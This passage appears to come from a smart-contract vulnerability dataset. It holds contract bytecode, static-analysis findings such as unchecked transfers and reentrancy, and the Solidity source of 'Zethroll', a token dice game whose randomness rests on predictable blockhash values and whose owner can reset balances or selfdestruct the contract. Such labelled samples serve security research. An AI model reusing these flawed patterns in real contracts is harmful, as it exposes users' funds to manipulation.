11a58565b610439611a5e565b6102a56004803603602081101561053257600080fd5b50356001600160a01b0316611a6c565b61055f6004803603602081101561055857600080fd5b5035611ae1565b6040805160ff938416815291909216602082015281519081900390910190f35b610439611aff565b6102e5611b0f565b610276611b1e565b610276611b24565b610439611b2a565b6102e5611b33565b610276611b42565b610439611b48565b6105e5600480360360208110156105d557600080fd5b50356001600160a01b0316611b56565b6040805192835260ff90911660208301528051918290030190f35b6102a56004803603602081101561061657600080fd5b50356001600160a01b0316611b72565b6102a56004803603604081101561063c57600080fd5b506001600160a01b038135169060200135611be5565b6102a56004803603604081101561066857600080fd5b506001600160a01b038135169060200135611d4b565b610276611fd1565b600d5481565b6000546001600160a01b03163314806106af57506003546001600160a01b031633145b6106f7576040805162461bcd60e51b815260206004820152601460248201527350524956494c414745442055534552204f4e4c5960601b604482015290519081900360640190fd5b601355565b60055481565b6000546001600160a01b0316331461074e576040805162461bcd60e51b815260206004820152600a6024820152694f574e4552204f4e4c5960b01b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b60115481565b6002546001600160a01b031681565b60085481565b60105460ff610100909104166001146107e2576040805162461bcd60e51b815260206004820152601460248201527313515490d2105395081393d5081153905093115160621b604482015290519081900360640190fd5b6001600160a01b038216600090815260166020526040902060019081015460ff161461084d576040805162461bcd60e51b815260206004820152601560248201527441444452455353204e4f5420415641494c41424c4560581b604482015290519081900360640190fd5b336000908152601560205260409020600701548111156108a9576040805162461bcd60e51b81526020600482015260126024820152714e4f5420454e4f5547482042414c414e434560701b604482015290519081900360640190fd5b600d546108bc908263ffffffff611fd716565b600d55336000908152601560205260409020600701546108e2908263ffffffff611fd716565b336000908152601560209081526040808320600701939093556001600160a01b038516825260169052205461091d908263ffffffff611fee16565b6001600160a01b03808416600081815260166020908152604080832095909555600254855163a9059cbb60e01b815260048101949094526024840187905294519490931693849363a9059cbb93604480820194929392918390030190829087803b15801561098a57600080fd5b505af115801561099e573d6000803e3d6000fd5b505050506040513d60208110156109b457600080fd5b505060408051838152905133917fda02c2805ad3c9cd503a0b50cd167d9a7c78db5bce33efe40ba716fdad066ec2919081900360200190a2505050565b600f54336000908152601560205260409020600501541015610a49576040805162461bcd60e51b815260206004820152600c60248201526b135253880c4c0c081554d11560a21b604482015290519081900360640190fd5b33600090815260156020526040902060050154811115610aa3576040805162461bcd60e51b815260206004820152601060248201526f4e4f5420454e4f554748204d4f4e455960801b604482015290519081900360640190fd5b600f54811015610ae9576040805162461bcd60e51b815260206004820152600c60248201526b135253880c4c0c081554d11560a21b604482015290519081900360640190fd5b6002546001600160a01b03168063a9059cbb33610b1e605f610b1287606463ffffffff61200416565b9063ffffffff61201916565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610b6d57600080fd5b505af1158015610b81573d6000803e3d6000fd5b505050506040513d6020811015610b9757600080fd5b50506001546001600160a01b038083169163a9059cbb9116610bc56005610b1287606463ffffffff61200416565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610c1457600080fd5b505af1158015610c28573d6000803e3d6000fd5b505050506040513d6020811015610c3e57600080fd5b505033600090815260156020526040902060040154610c63908363ffffffff611fee16565b33600090815260156020526040902060040155600754610c89908363ffffffff611fee16565b600755600b54610c9f908363ffffffff611fd716565b600b55337f5bb95829671915ece371da722f91d5371159095dcabf2f75cd6c53facb7e1bab610cda605f610b1286606463ffffffff61200416565b610cf06005610b1287606463ffffffff61200416565b6040805192835260208301919091528051918290030190a233600090815260156020526040902060050154610d2b908363ffffffff611fd716565b336000908152601560205260409020600501555050565b60105460ff16600114610d92576040805162461bcd60e51b815260206004820152601360248201527214d51052d25391c81393d50811539050931151606a1b604482015290519081900360640190fd5b33600090815260156020526040902060070154811115610df9576040805162461bcd60e51b815260206004820152601960248201527f4e4f5420454e4f554748205354414b494e4720414d4f554e5400000000000000604482015290519081900360640190fd5b600d54610e0c908263ffffffff611fd716565b600d5533600090815260156020526040902060070154610e32908263ffffffff611fd716565b33600090815260156020908152604080832060070193909355600254600154845163a9059cbb60e01b81526001600160a01b039182166004820152602481018790529451911693849363a9059cbb9360448084019491939192918390030190829087803b158015610ea257600080fd5b505af1158015610eb6573d6000803e3d6000fd5b505050506040513d6020811015610ecc57600080fd5b505060408051838152905133917fd213d1d108da45fd277b5e64582311022a00cfaee784c3045089ca4b22543bc7919081900360200190a2601254600160a01b900460ff1660011415610ffe576012546011546013546001600160a01b0390921691600091610f4691610b1290879063ffffffff61200416565b6040805163a9059cbb60e01b81523360048201526024810183905290519192506001600160a01b0384169163a9059cbb916044808201926020929091908290030181600087803b158015610f9957600080fd5b505af1158015610fad573d6000803e3d6000fd5b505050506040513d6020811015610fc357600080fd5b505060408051858152905133917fd111e5012aa2c5ece74ca1f9e844ee1235825ae30b72e05f52b368a470e11f4e919081900360200190a250505b5050565b6012546001600160a01b031681565b6000546001600160a01b0316331461105d576040805162461bcd60e51b815260206004820152600a6024820152694f574e4552204f4e4c5960b01b604482015290519081900360640190fd5b6001600160a01b0381166110b2576040805162461bcd60e51b815260206004820152601760248201527615905315525108105111149154d4c81491545552549151604a1b604482015290519081900360640190fd5b6012805460ff60a01b196001600160a01b039093166001600160a01b03199091161791909116600160a01b179055565b600254336000908152601560205260409020600301546001600160a01b03909116901561114c576040805162461bcd60e51b81526020600482015260136024820152721350560810d054081393d50814915050d21151606a1b604482015290519081900360640190fd5b60408051636eb1769f60e11b815233600482015230602482015290516000916001600160a01b0384169163dd62ed3e91604480820192602092909190829003018186803b15801561119c57600080fd5b505afa1580156111b0573d6000803e3d6000fd5b505050506040513d60208110156111c657600080fd5b505111611211576040805162461bcd60e51b81526020600482015260146024820152731554d115081054141493d590530811905253115160621b604482015290519081900360640190fd5b60408051636eb1769f60e11b815233600482015230602482015290516000916001600160a01b0384169163dd62ed3e91604480820192602092909190829003018186803b15801561126157600080fd5b505afa158015611275573d6000803e3d6000fd5b505050506040513d602081101561128b57600080fd5b5051604080516323b872dd60e01b81523360048201523060248201526044810183905290519192506001600160a01b038416916323b872dd916064808201926020929091908290030181600087803b1580156112e657600080fd5b505af11580156112fa573d6000803e3d6000fd5b505050506040513d602081101561131057600080fd5b505161135c576040805162461bcd60e51b8152602060048201526016602482015275111150925508119493d3481554d1150811905253115160521b604482015290519081900360640190fd5b6000611374600a610b1284606463ffffffff61200416565b6001546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810184905290519293509085169163a9059cbb916044808201926020929091908290030181600087803b1580156113cd57600080fd5b505af11580156113e1573d6000803e3d6000fd5b505050506040513d60208110156113f757600080fd5b50506014546000906114179060ff16610b1285606463ffffffff61200416565b600e5490915060ff61010090910416600114156114b6576001546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810184905290519186169163a9059cbb916044808201926020929091908290030181600087803b15801561148457600080fd5b505af1158015611498573d6000803e3d6000fd5b505050506040513d60208110156114ae57600080fd5b506115449050565b336000908152601560205260409020600701546114d9908263ffffffff611fee16565b336000908152601560205260409020600781019190915560080154611504908263ffffffff611fee16565b33600090815260156020526040902060080155600c5461152a908263ffffffff611fee16565b600c55600d54611540908263ffffffff611fee16565b600d555b600061154f8461203d565b336000818152601560209081526040918290208054600190810182556005805482019055600680548b019055810180548a019055600281018054860190556003018054850190558151888152915193945091927f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de364929181900390910190a25050505050565b6001546001600160a01b031681565b6000546001600160a01b0316331461162f576040805162461bcd60e51b815260206004820152600a6024820152694f574e4552204f4e4c5960b01b604482015290519081900360640190fd5b600e8054600260ff199182161761ff001990811661020017909255601080546101009216600117909216179055565b60135481565b6000546001600160a01b031633146116b0576040805162461bcd60e51b815260206004820152600a6024820152694f574e4552204f4e4c5960b01b604482015290519081900360640190fd5b6014805460ff191660ff92909216919091179055565b6000546001600160a01b03163314611712576040805162461bcd60e51b815260206004820152600a6024820152694f574e4552204f4e4c5960b01b604482015290519081900360640190fd5b60028160ff161015611764576040805162461bcd60e51b815260206004820152601660248201527526a4a724a6aaa69019102a24a6a2a9902922aa2aa92760511b604482015290519081900360640190fd5b601180548302600090815260176020526040808220805460ff1916600117905591549093028352909120805460ff929092166101000261ff0019909216919091179055565b6000546001600160a01b031633146117f5576040805162461bcd60e51b815260206004820152600a6024820152694f574e4552204f4e4c5960b01b604482015290519081900360640190fd5b6001600160a01b03811661184a576040805162461bcd60e51b815260206004820152601760248201527615905315525108105111149154d4c81491545552549151604a1b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b60145460ff1681565b600b5481565b60105460ff1681565b60075481565b60156020526000908152604090208054600182015460028301546003840154600485015460058601546006870154600788015460088901546009909901549798969795969495939492939192909160ff168a565b6000546001600160a01b031633148061191057506004546001600160a01b031633145b611958576040805162461bcd60e51b815260206004820152601460248201527350524956494c414745442055534552204f4e4c5960601b604482015290519081900360640190fd5b6001600160a01b0382166000908152601560205260409020600701548111156119bd576040805162461bcd60e51b81526020600482015260126024820152714e4f5420454e4f5547482042414c414e434560701b604482015290519081900360640190fd5b600d546119d0908263ffffffff611fd716565b600d556001600160a01b0382166000908152601560205260409020600701546119ff908263ffffffff611fd716565b6001600160a01b038316600081815260156020908152604091829020600701939093558051848152905191927f9933f1725ed33bda3d8c9c0058f2773fc4e4460d10800205396474c496377da892918290030190a25050565b600c5481565b600e54610100900460ff1681565b6000546001600160a01b03163314611ab8576040805162461bcd60e51b815260206004820152600a6024820152694f574e4552204f4e4c5960b01b604482015290519081900360640190fd5b6001600160a01b031660009081526016602052604090206001908101805460ff19169091179055565b60176020526000908152604090205460ff8082169161010090041682565b601254600160a01b900460ff1681565b6004546001600160a01b031681565b600f5481565b600a5481565b600e5460ff1681565b6003546001600160a01b031681565b60065481565b601054610100900460ff1681565b6016602052600090815260409020805460019091015460ff1682565b6000546001600160a01b03163314611bbe576040805162461bcd60e51b815260206004820152600a6024820152694f574e4552204f4e4c5960b01b604482015290519081900360640190fd5b6001600160a01b03166000908152601560205260409020600901805460ff19166001179055565b6000546001600160a01b0316331480611c0857506004546001600160a01b031633145b611c50576040805162461bcd60e51b815260206004820152601460248201527350524956494c414745442055534552204f4e4c5960601b604482015290519081900360640190fd5b600a54611c63908263ffffffff611fee16565b600a55600b54611c79908263ffffffff611fee16565b600b55600854611c8f908263ffffffff611fee16565b6008556001600160a01b038216600090815260156020526040902060050154611cbe908263ffffffff611fee16565b6001600160a01b0383166000908152601560205260409020600581019190915560060154611cf2908263ffffffff611fee16565b6001600160a01b038316600081815260156020908152604091829020600601939093558051848152905191927f9f8b0d923fd5e95a703b6a8e1a78314d412d51b8c177726337078cc845f219a292918290030190a25050565b6000546001600160a01b0316331480611d6e57506003546001600160a01b031633145b611db6576040805162461bcd60e51b815260206004820152601460248201527350524956494c414745442055534552204f4e4c5960601b604482015290519081900360640190fd5b6001600160a01b03821660009081526015602052604090206009015460ff16611e3e576001600160a01b038216600090815260156020526040902060030154811115611e3e576040805162461bcd60e51b81526020600482015260126024820152711350560814105653d5550814915050d2115160721b604482015290519081900360640190fd5b600954611e51908263ffffffff611fee16565b6009556000611e6c6050610b1284606463ffffffff61200416565b90506000611e866014610b1285606463ffffffff61200416565b600a54909150611e9c908363ffffffff611fee16565b600a55600b54611eb2908363ffffffff611fee16565b600b55600c54611ec8908263ffffffff611fee16565b600c55600d54611ede908263ffffffff611fee16565b600d556001600160a01b03841660009081526015602052604090206009015460ff16611f27576001600160a01b0384166000908152601560205260409020600301805484900390555b6001600160a01b03841660008181526015602052604090206005810180548501905560068101805485019055600781018054840190556008018054830190557f0f10047bc140c739744507bfc0d3a0c4e5f4574819c873646b5e888f5ca41f25611f9d6050610b1287606463ffffffff61200416565b611fb36014610b1288606463ffffffff61200416565b6040805192835260208301919091528051918290030190a250505050565b60095481565b600082821115611fe357fe5b508082035b92915050565b600082820183811015611ffd57fe5b9392505050565b60008082848161201057fe5b04949350505050565b60008261202857506000611fe8565b8282028284828161203557fe5b0414611ffd57fe5b600081815260176020526040902054610100900460ff16029056fea265627a7a72305820cd3738f850ee651c3d15b54be80d34bab38fa45a41140467371a4ab38a9faad064736f6c634300050a0032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,442
0xfd115c04952afee689cfd6759226e4feb457987b
pragma solidity ^0.4.23; /* * Zethroll. * * Adapted from PHXRoll, written in March 2018 by TechnicalRise: * https://www.reddit.com/user/TechnicalRise/ * * Adapted for Zethr by Norsefire and oguzhanox. * * Gas golfed by Etherguy * Audited & commented by Klob */ contract ZTHReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); } contract ZTHInterface { function getFrontEndTokenBalanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function approve(address spender, uint tokens) public returns (bool); } contract Zethroll is ZTHReceivingContract { using SafeMath for uint; // Makes sure that player profit can't exceed a maximum amount, // that the bet size is valid, and the playerNumber is in range. modifier betIsValid(uint _betSize, uint _playerNumber) { require( calculateProfit(_betSize, _playerNumber) < maxProfit && _betSize >= minBet && _playerNumber > minNumber && _playerNumber < maxNumber); _; } // Requires game to be currently active modifier gameIsActive { require(gamePaused == false); _; } // Requires msg.sender to be owner modifier onlyOwner { require(msg.sender == owner); _; } // Constants uint constant private MAX_INT = 2 ** 256 - 1; uint constant public maxProfitDivisor = 1000000; uint constant public maxNumber = 99; uint constant public minNumber = 2; uint constant public houseEdgeDivisor = 1000; // Configurables bool public gamePaused; address public owner; address public ZethrBankroll; address public ZTHTKNADDR; ZTHInterface public ZTHTKN; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet = 0; // Trackers uint public totalBets; uint public totalZTHWagered; // Events // Logs bets + output to web3 for precise 'payout on win' field in UI event LogBet(address sender, uint value, uint rollUnder); // Outputs to web3 UI on bet result // Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); // Logs owner transfers event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); // Logs changes in maximum profit event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); // Logs current contract balance event CurrentContractBalance(uint _tokens); constructor (address zthtknaddr, address zthbankrolladdr) public { // Owner is deployer owner = msg.sender; // Initialize the ZTH contract and bankroll interfaces ZTHTKN = ZTHInterface(zthtknaddr); ZTHTKNADDR = zthtknaddr; // Set the bankroll ZethrBankroll = zthbankrolladdr; // Init 990 = 99% (1% houseEdge) houseEdge = 990; // The maximum profit from each bet is 10% of the contract balance. ownerSetMaxProfitAsPercentOfHouse(10000); // Init min bet (1 ZTH) ownerSetMinBet(1e18); // Allow 'unlimited' token transfer by the bankroll ZTHTKN.approve(zthbankrolladdr, MAX_INT); } function() public payable {} // receive zethr dividends // Returns a random number using a specified block number // Always use a FUTURE block number. function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } // Random helper function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } // Calculate the maximum potential profit function calculateProfit(uint _initBet, uint _roll) private view returns (uint) { return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; } // I present a struct which takes only 20k gas struct playerRoll{ uint200 tokenValue; // Token value in uint uint48 blockn; // Block number 48 bits uint8 rollUnder; // Roll under 8 bits } // Mapping because a player can do one roll at a time mapping(address => playerRoll) public playerRolls; function _playerRollDice(uint _rollUnder, TKN _tkn) private gameIsActive betIsValid(_tkn.value, _rollUnder) { require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200; require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48 // Note that msg.sender is the Token Contract Address // and "_from" is the sender of the tokens // Check that this is a ZTH token transfer require(_zthToken(msg.sender)); playerRoll memory roll = playerRolls[_tkn.sender]; // Cannot bet twice in one block require(block.number != roll.blockn); // If there exists a roll, finish it if (roll.blockn != 0) { _finishBet(false, _tkn.sender); } // Set struct block number, token value, and rollUnder values roll.blockn = uint40(block.number); roll.tokenValue = uint200(_tkn.value); roll.rollUnder = uint8(_rollUnder); // Store the roll struct - 20k gas. playerRolls[_tkn.sender] = roll; // Provides accurate numbers for web3 and allows for manual refunds emit LogBet(_tkn.sender, _tkn.value, _rollUnder); // Increment total number of bets totalBets += 1; // Total wagered totalZTHWagered += _tkn.value; } // Finished the current bet of a player, if they have one function finishBet() public gameIsActive returns (uint) { return _finishBet(true, msg.sender); } /* * Pay winner, update contract balance * to calculate new max bet, and send reward. */ function _finishBet(bool delete_it, address target) private returns (uint){ playerRoll memory roll = playerRolls[target]; require(roll.tokenValue > 0); // No re-entracy require(roll.blockn != block.number); // If the block is more than 255 blocks old, we can't get the result // Also, if the result has already happened, fail as well uint result; if (block.number - roll.blockn > 255) { result = 1000; // Cant win } else { // Grab the result - random based ONLY on a past block (future when submitted) result = random(99, roll.blockn, target) + 1; } uint rollUnder = roll.rollUnder; if (result < rollUnder) { // Player has won! // Safely map player profit uint profit = calculateProfit(roll.tokenValue, rollUnder); // Safely reduce contract balance by player profit contractBalance = contractBalance.sub(profit); emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); // Update maximum profit setMaxProfit(); if (delete_it){ // Prevent re-entracy memes delete playerRolls[target]; } // Transfer profit plus original bet ZTHTKN.transfer(target, profit + roll.tokenValue); return result; } else { /* * Player has lost * Update contract balance to calculate new max bet */ emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); /* * Safely adjust contractBalance * SetMaxProfit */ contractBalance = contractBalance.add(roll.tokenValue); // No need to actually delete player roll here since player ALWAYS loses // Saves gas on next buy // Update maximum profit setMaxProfit(); return result; } } // TKN struct struct TKN {address sender; uint value;} // Token fallback to bet or deposit from bankroll function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { if (_from == ZethrBankroll) { // Update the contract balance contractBalance = contractBalance.add(_value); // Update the maximum profit uint oldMaxProfit = maxProfit; setMaxProfit(); emit MaxProfitChanged(oldMaxProfit, maxProfit); return true; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; uint8 chosenNumber = uint8(_data[0]); _playerRollDice(chosenNumber, _tkn); } return true; } /* * Sets max profit */ function setMaxProfit() internal { emit CurrentContractBalance(contractBalance); maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; } // Only owner adjust contract balance variable (only used for max profit calc) function ownerUpdateContractBalance(uint newContractBalance) public onlyOwner { contractBalance = newContractBalance; } // Only owner address can set maxProfitAsPercentOfHouse function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { // Restricts each bet to a maximum profit of 20% contractBalance require(newMaxProfitAsPercent <= 200000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } // Only owner address can set minBet function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } // Only owner address can transfer ZTH function ownerTransferZTH(address sendTo, uint amount) public onlyOwner { // Safely update contract balance when sending out funds contractBalance = contractBalance.sub(amount); // update max profit setMaxProfit(); require(ZTHTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount); } // Only owner address can set emergency pause #1 function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } // Only owner address can set bankroll address function ownerSetBankroll(address newBankroll) public onlyOwner { ZTHTKN.approve(ZethrBankroll, 0); ZethrBankroll = newBankroll; ZTHTKN.approve(newBankroll, MAX_INT); } // Only owner address can set owner address function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } // Only owner address can selfdestruct - emergency function ownerkill() public onlyOwner { ZTHTKN.transfer(owner, contractBalance); selfdestruct(owner); } function dumpdivs() public{ ZethrBankroll.transfer(address(this).balance); } function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; // Is this the ZTH token contract? } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }
0x6080604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304fcadf181146101765780630dda350f1461019d578063219df7ee146101b257806323214fab146101e35780633a4f6999146101f85780634025b5a81461020d57806343c1598d146102255780634f44728d1461023a57806355b930311461025b5780635e968a491461027057806361990759146102885780636cdf4c90146102ac5780636eacd48a146102c45780637c67ffe7146102de5780638701a2f0146102ff5780638b7afe2e146103145780638da5cb5b146103295780639619367d1461033e578063a948d72d14610353578063b539cd5514610368578063befa1e2f1461037d578063c0ee0b8a14610392578063c3de1ab91461040f578063ca9defb714610424578063ccd50d2814610448578063d263b7eb1461049b578063d667dcd7146104b0578063e5c774de146104c5578063f21502e5146104da575b005b34801561018257600080fd5b5061018b6104ef565b60408051918252519081900360200190f35b3480156101a957600080fd5b506101746104f5565b3480156101be57600080fd5b506101c7610532565b60408051600160a060020a039092168252519081900360200190f35b3480156101ef57600080fd5b5061018b610541565b34801561020457600080fd5b5061018b610547565b34801561021957600080fd5b5061017460043561054c565b34801561023157600080fd5b5061018b61056d565b34801561024657600080fd5b50610174600160a060020a0360043516610574565b34801561026757600080fd5b5061018b6105c5565b34801561027c57600080fd5b506101746004356105ca565b34801561029457600080fd5b5061018b600435600160a060020a0360243516610603565b3480156102b857600080fd5b506101746004356106a4565b3480156102d057600080fd5b5061017460043515156106c5565b3480156102ea57600080fd5b50610174600160a060020a03600435166106f4565b34801561030b57600080fd5b5061018b610871565b34801561032057600080fd5b5061018b610892565b34801561033557600080fd5b506101c7610898565b34801561034a57600080fd5b5061018b6108ac565b34801561035f57600080fd5b506101c76108b2565b34801561037457600080fd5b5061018b6108c1565b34801561038957600080fd5b5061018b6108c7565b34801561039e57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526103fb948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108cd9650505050505050565b604080519115158252519081900360200190f35b34801561041b57600080fd5b506103fb6109ac565b34801561043057600080fd5b50610174600160a060020a03600435166024356109b5565b34801561045457600080fd5b50610469600160a060020a0360043516610acf565b60408051600160c860020a03909416845265ffffffffffff909216602084015260ff1682820152519081900360600190f35b3480156104a757600080fd5b50610174610b06565b3480156104bc57600080fd5b5061018b610be0565b3480156104d157600080fd5b5061018b610be6565b3480156104e657600080fd5b506101c7610bec565b600a5481565b600154604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561052f573d6000803e3d6000fd5b50565b600354600160a060020a031681565b60075481565b606381565b6000546101009004600160a060020a0316331461056857600080fd5b600455565b620f424081565b6000546101009004600160a060020a0316331461059057600080fd5b60008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600281565b6000546101009004600160a060020a031633146105e657600080fd5b62030d408111156105f657600080fd5b600781905561052f610bfb565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106106715780518252601f199092019160209182019101610652565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b6000546101009004600160a060020a031633146106c057600080fd5b600855565b6000546101009004600160a060020a031633146106e157600080fd5b6000805460ff1916911515919091179055565b6000546101009004600160a060020a0316331461071057600080fd5b600354600154604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526000602482018190529151929093169263095ea7b39260448083019360209383900390910190829087803b15801561078457600080fd5b505af1158015610798573d6000803e3d6000fd5b505050506040513d60208110156107ae57600080fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217909255600354604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600481019390935260001960248401525192169163095ea7b3916044808201926020929091908290030181600087803b15801561084257600080fd5b505af1158015610856573d6000803e3d6000fd5b505050506040513d602081101561086c57600080fd5b505050565b6000805460ff161561088257600080fd5b61088d600133610c42565b905090565b60045481565b6000546101009004600160a060020a031681565b60085481565b600154600160a060020a031681565b60065481565b60095481565b6000806108d8611245565b600154600090600160a060020a038881169116141561095b57600454610904908763ffffffff610f2f16565b6004556006549250610914610bfb565b60065460408051858152602081019290925280517fc515cfc3ee14c6e587c5755cfe9e60d7779b40b2216c63bc3699111dcdd45a8d9281900390910190a1600193506109a2565b600160a060020a03871682526020820186905284518590600090811061097d57fe5b016020015160f860020a90819004810204905061099d60ff821683610f45565b600193505b5050509392505050565b60005460ff1681565b6000546101009004600160a060020a031633146109d157600080fd5b6004546109e4908263ffffffff6111ae16565b6004556109ef610bfb565b600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a5e57600080fd5b505af1158015610a72573d6000803e3d6000fd5b505050506040513d6020811015610a8857600080fd5b50511515610a9557600080fd5b6040518190600160a060020a038416907f42c501a185f41a8eb77b0a3e7b72a6435ea7aa752f8a1a0a13ca4628495eca9190600090a35050565b600b60205260009081526040902054600160c860020a0381169060c860020a810465ffffffffffff169060f860020a900460ff1683565b6000546101009004600160a060020a03163314610b2257600080fd5b6003546000805460048054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152610100909404600160a060020a039081169385019390935260248401919091525193169263a9059cbb92604480840193602093929083900390910190829087803b158015610ba157600080fd5b505af1158015610bb5573d6000803e3d6000fd5b505050506040513d6020811015610bcb57600080fd5b50506000546101009004600160a060020a0316ff5b60055481565b6103e881565b600254600160a060020a031681565b60045460408051918252517fdff64b0d3aeb3f517dce05c4a4b3f84c29fe10fa9c3390c3e85122da92101dee9181900360200190a1600754600454620f4240910204600655565b6000610c4c61125c565b50600160a060020a0382166000908152600b6020908152604080832081516060810183529054600160c860020a03811680835260c860020a820465ffffffffffff169483019490945260f860020a900460ff16918101919091529190819081908110610cb757600080fd5b602084015165ffffffffffff16431415610cd057600080fd5b60ff846020015165ffffffffffff1643031115610cf1576103e89250610d0f565b610d096063856020015165ffffffffffff16886111c0565b60010192505b836040015160ff16915081831015610e91578351610d3690600160c860020a0316836111df565b600454909150610d4c908263ffffffff6111ae16565b600455835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600160a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a1610dbf610bfb565b8615610ddf57600160a060020a0386166000908152600b60205260408120555b6003548451604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038a81166004830152600160c860020a03909316850160248201529051919092169163a9059cbb9160448083019260209291908290030181600087803b158015610e5b57600080fd5b505af1158015610e6f573d6000803e3d6000fd5b505050506040513d6020811015610e8557600080fd5b50929450849250610f25565b835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600060a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a18351600454610f1691600160c860020a031663ffffffff610f2f16565b600455610f21610bfb565b8294505b5050505092915050565b600082820183811015610f3e57fe5b9392505050565b610f4d61125c565b60005460ff1615610f5d57600080fd5b816020015183600654610f7083836111df565b108015610f7f57506008548210155b8015610f8b5750600281115b8015610f975750606381105b1515610fa257600080fd5b6020840151600160c860020a0311610fb957600080fd5b65ffffffffffff4310610fcb57600080fd5b610fd433611231565b1515610fdf57600080fd5b8351600160a060020a03166000908152600b602090815260409182902082516060810184529054600160c860020a038116825260c860020a810465ffffffffffff1692820183905260f860020a900460ff169281019290925290935043141561104757600080fd5b602083015165ffffffffffff161561106a5761106860008560000151610c42565b505b64ffffffffff431660208085019182528581018051600160c860020a03908116875260ff808a166040808a019182528a51600160a060020a039081166000908152600b88528290208b5181549951945190951660f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff65ffffffffffff9590951660c860020a027fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff9690971678ffffffffffffffffffffffffffffffffffffffffffffffffff19909a16999099179490941694909417919091169590951790558751915184519290911682529181019190915280820187905290517fcfb6e9afebabebfb2c7ac42dfcd2e8ca178dc6400fe8ec3075bd690d8e3377fe9181900360600190a150506009805460010190555060200151600a8054909101905550565b6000828211156111ba57fe5b50900390565b6000836111cd8484610603565b8115156111d657fe5b06949350505050565b6000826103e8600554856111fd6001876111ae90919063ffffffff16565b61120e87600163ffffffff6111ae16565b606403880281151561121c57fe5b04010281151561122857fe5b04039392505050565b600254600160a060020a0390811691161490565b604080518082019091526000808252602082015290565b6040805160608101825260008082526020820181905291810191909152905600a165627a7a72305820d18b4567c284ae35a40d855d0a256e374354aab553d5